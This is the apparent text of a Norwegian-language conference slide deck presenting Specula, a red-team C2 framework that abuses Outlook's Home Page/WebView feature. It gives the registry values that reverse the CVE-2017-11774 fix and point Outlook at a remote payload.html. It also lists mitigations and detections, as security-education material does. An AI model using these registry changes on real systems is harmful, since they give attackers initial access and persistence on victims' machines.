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HVORFOR HAR VI PUBLISERT
SPECULA?

Brukt teknikken som initial access på 
100-vis av kunder (og I mange år)

Kunnskap og forebygging eksisterer

Øke bevisstheten om teknikken

Gi sikkerhets-fellesskapet et nytt verktøy



Fortune 1000

Magasinet Fortune utgir listen hvert år

Listen baseres på inntekter

Kort fortalt: Største selskapene I USA basert på 
inntekt



Kjennetegn på et 
Fortune 1000 Selskap

Investerer mye penger I IT-Sikkerhet

Har ofte egne Blue team og/eller SOC

Utsatt for avansert angrep hele tiden



Tidligere arbeid

Etienne Stalmans
Ruler tool: https://github.com/sensepost/ruler/wiki/Homepage

https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/

Ben Wilson
https://soutcast.medium.com/outlook-today-homepage-persistence-33ea9b505943



Tidligere arbeid

Ruler



Tidligere arbeid



Tidligere arbeid





Tidligere arbeid

Fikset i 2017 (CVE-2017-11774)



Tidligere arbeid



Ble det 
virkelig
fikset?



Ble det virkelig fikset?

Sam Link (@L1NKD34D) oppdaget i 2018 at patchen kunne
reverseres ved å se på hva patchen gjorde

Fant følgende:

HKCU\Software\Microsoft\Office\<version>\Outlook\Security

“EnableRoamingFolderHomepages”= dword:00000001



Ble det virkelig fikset?

Fant også:

HKCU\Software\Microsoft\Office\<version>\Outlook\Webview\
inbox|calendar|outbox|sent

“url” = http://server/folder/payload.html 

Når det var satt, ville Outlook koble til og kjøre html siden





https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-
missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04



Bruk på oppdrag – 2018/2019



Bruk på oppdrag – 2018/2019



Bruk på oppdrag – 2018/2019



Bruk på oppdrag – 2018/2019



Hadde utgangspunktet til å bli et C2 
rammeverk

Ville lære python og automatisering er gøy

Started utviklingen av C2 rammeverket rett etter Blackhat 2019 
(August) 

Trevor C2 ble inspirasjon og utgangspunktet

Rammeverket ble navngitt Specula



Hadde utgangspunktet til å bli et C2 
rammeverk

Første alfa versjon Oktober 2019

Første versjon til kollegaer (v 0.9) Desember 2019 







Teknikk ble oppdaget Desember 2019 

https://cloud.google.com/blog/topics/threat-intelligence/breaking-
the-rules-tough-outlook-for-home-page-attacks/

Dette var den manuelle teknikken som benyttet
Azure Blob storage istedenfor en webserver

Vi ble kategorisert som UNC1194 (Uncategorized Threat Groups)



En blog post stoppet ikke oss

• Fortsatte å utvikle Specula (20 versions++)

• Bruk på 100-vis av våre avanserte red team 
oppdrag som initial access

• Fant utvidet funksjonalitet



DEMO TIME
SPECULA TIME!



Tiltak

• Vbscript kan fjernes som en Windows feature i W11 24H3
• Vil være fjernet autoamtisk fra 2027

• Ny Outlook versjon

• Forhindre skrive tilgang til URL key (Custom scripting)

• Deaktivere Webview
• Do not allow Home Page URL to be set in folder Properties policy setting

• Set Outlook Today availability to disabled (More details in the TrustedSec blog)

• Lås ned ved bruk av Microsoft Baselines
• Microsoft Security Compliance Toolkit 1.0

https://www.microsoft.com/en-us/download/details.aspx?id=55319


Deteksjoner

Url value lagt til under:
HKCU\Software\Microsoft\Office\[VERSION]\Outlook\WebView\[inbox|calendar++]

HKCU\Software\Microsoft\Office\[VERSION]\Outlook\Today



Tilgang til verktøyet

http://specula.rocks

https://github.com/trustedsec/specula

http://specula.rocks/
https://github.com/trustedsec/specula


Ressurser

• Bli medlem på vår discord og få hjelp!
ohttps://discord.gg/trustedsec -> InfoSec Topics -> specula

• Les dokumentasjonen vår på vår GitHub wiki
ohttps://github.com/trustedsec/specula/wiki

• Les vår blogpost
ohttps://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-

registry-change

• Se våre video tutorials på YouTube
ohttps://www.youtube.com/@TrustedSecTV/playlists -> specula playlist

https://discord.gg/trustedsec
https://github.com/trustedsec/specula/wiki
https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change
https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change
https://www.youtube.com/@TrustedSecTV/playlists


SPØRSMÅL?



@oddvarmoe
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